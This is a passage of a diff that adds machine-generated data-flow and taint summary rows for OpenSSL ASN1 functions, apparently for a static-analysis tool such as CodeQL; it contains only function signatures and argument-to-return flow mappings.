"dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_int64", "(int64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_uint64", "(uint64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_uint64", "(uint64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_set", "(ASN1_INTEGER *,long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_set_int64", "(ASN1_INTEGER *,int64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_set_uint64", "(ASN1_INTEGER *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_to_BN", "(const ASN1_INTEGER *,BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_INTEGER_to_BN", "(const ASN1_INTEGER *,BIGNUM *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_NULL_free", "(ASN1_NULL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_NULL_free", "(ASN1_NULL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**sn]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[**ln]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*nid]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**sn]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*sn]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**ln]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ln]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OCTET_STRING_cmp", "(const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_OCTET_STRING_cmp", "(const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_OCTET_STRING_dup", "(const ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_OCTET_STRING_set", "(ASN1_OCTET_STRING *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OCTET_STRING_set", "(ASN1_OCTET_STRING *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OCTET_STRING_set", "(ASN1_OCTET_STRING *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_cert_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*cert_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_nm_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*nm_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_oid_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*oid_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_str_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*str_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_cert_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*cert_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_nm_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*nm_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_oid_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*oid_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_str_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*str_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PRINTABLE_free", "(ASN1_STRING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_PRINTABLE_free", "(ASN1_STRING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_app_data", "(ASN1_SCTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_app_data", "(ASN1_SCTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_app_data", "(ASN1_SCTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_flags", "(ASN1_SCTX *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_item", "(ASN1_SCTX *)", "", "Argument[*0].Field[**it]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_item", "(ASN1_SCTX *)", "", "Argument[*0].Field[*it]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_template", "(ASN1_SCTX *)", "", "Argument[*0].Field[**tt]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_template", "(ASN1_SCTX *)", "", "Argument[*0].Field[*tt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_new", "(..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*scan_cb]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_set_app_data", "(ASN1_SCTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_set_app_data", "(ASN1_SCTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_set_app_data", "(ASN1_SCTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_cmp", "(const ASN1_STRING *,const ASN1_STRING *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_cmp", "(const ASN1_STRING *,const ASN1_STRING *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_copy", "(ASN1_STRING *,const ASN1_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_data", "(ASN1_STRING *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_data", "(ASN1_STRING *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_dup", "(const ASN1_STRING *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_get0_data", "(const ASN1_STRING *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_get0_data", "(const ASN1_STRING *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_length", "(const ASN1_STRING *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_length_set", "(ASN1_STRING *,int)", "", "Argument[1]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_print_ex", "(BIO *,const ASN1_STRING *,unsigned long)", "", "Argument[*1].Field[*length]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_print_ex_fp", "(FILE *,const ASN1_STRING *,unsigned long)", "", "Argument[*1].Field[*length]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set0", "(ASN1_STRING *,void *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set0", "(ASN1_STRING *,void *,int)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set0", "(ASN1_STRING *,void *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set", "(ASN1_STRING *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set", "(ASN1_STRING *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set", "(ASN1_STRING *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_type", "(const ASN1_STRING *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_type_new", "(int)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_adj", "(ASN1_TIME *,time_t,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_adj", "(ASN1_TIME *,time_t,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_free", "(ASN1_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_free", "(ASN1_TIME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_normalize", "(ASN1_TIME *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set", "(ASN1_TIME *,time_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_set", "(ASN1_TIME *,time_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string", "(ASN1_TIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string", "(ASN1_TIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string_X509", "(ASN1_TIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string_X509", "(ASN1_TIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_tm", "(const ASN1_TIME *,tm *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_TYPE_cmp", "(const ASN1_TYPE *,const ASN1_TYPE *)", "", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_cmp", "(const ASN1_TYPE *,const ASN1_TYPE *)", "", "Argument[*1].Field[*value].Union[*(unnamed class/struct/union)]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_free", "(ASN1_TYPE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_free", "(ASN1_TYPE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_get", "(const ASN1_TYPE *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[*2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set1", "(ASN1_TYPE *,int,const void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set1", "(ASN1_TYPE *,int,const void *)", "", "Argument[2]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set", "(ASN1_TYPE *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set", "(ASN1_TYPE *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set", "(ASN1_TYPE *,int,void *)", "", "Argument[2]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set_octetstring", "(ASN1_TYPE *,unsigned char *,int)", "", "Argument[*0]", "Argument[0]", "taint", "df-generated"] + - ["", "", True, "ASN1_TYPE_unpack_sequence", "(const ASN1_ITEM *,const ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_TYPE_unpack_sequence", "(const ASN1_ITEM *,const ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_adj", "(ASN1_UTCTIME *,time_t,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_adj", "(ASN1_UTCTIME *,time_t,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_set", "(ASN1_UTCTIME *,time_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_set", "(ASN1_UTCTIME *,time_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_UTCTIME_set_string", "(ASN1_UTCTIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_UTCTIME_set_string", "(ASN1_UTCTIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_check_infinite_end", "(unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_check_infinite_end", "(unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_check_infinite_end", "(unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_const_check_infinite_end", "(const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_const_check_infinite_end", "(const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_const_check_infinite_end", "(const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_get_object", "(const unsigned char **,long *,int *,int *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_i2d_bio", "(i2d_of_void *,BIO *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_i2d_fp", "(i2d_of_void *,FILE *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", 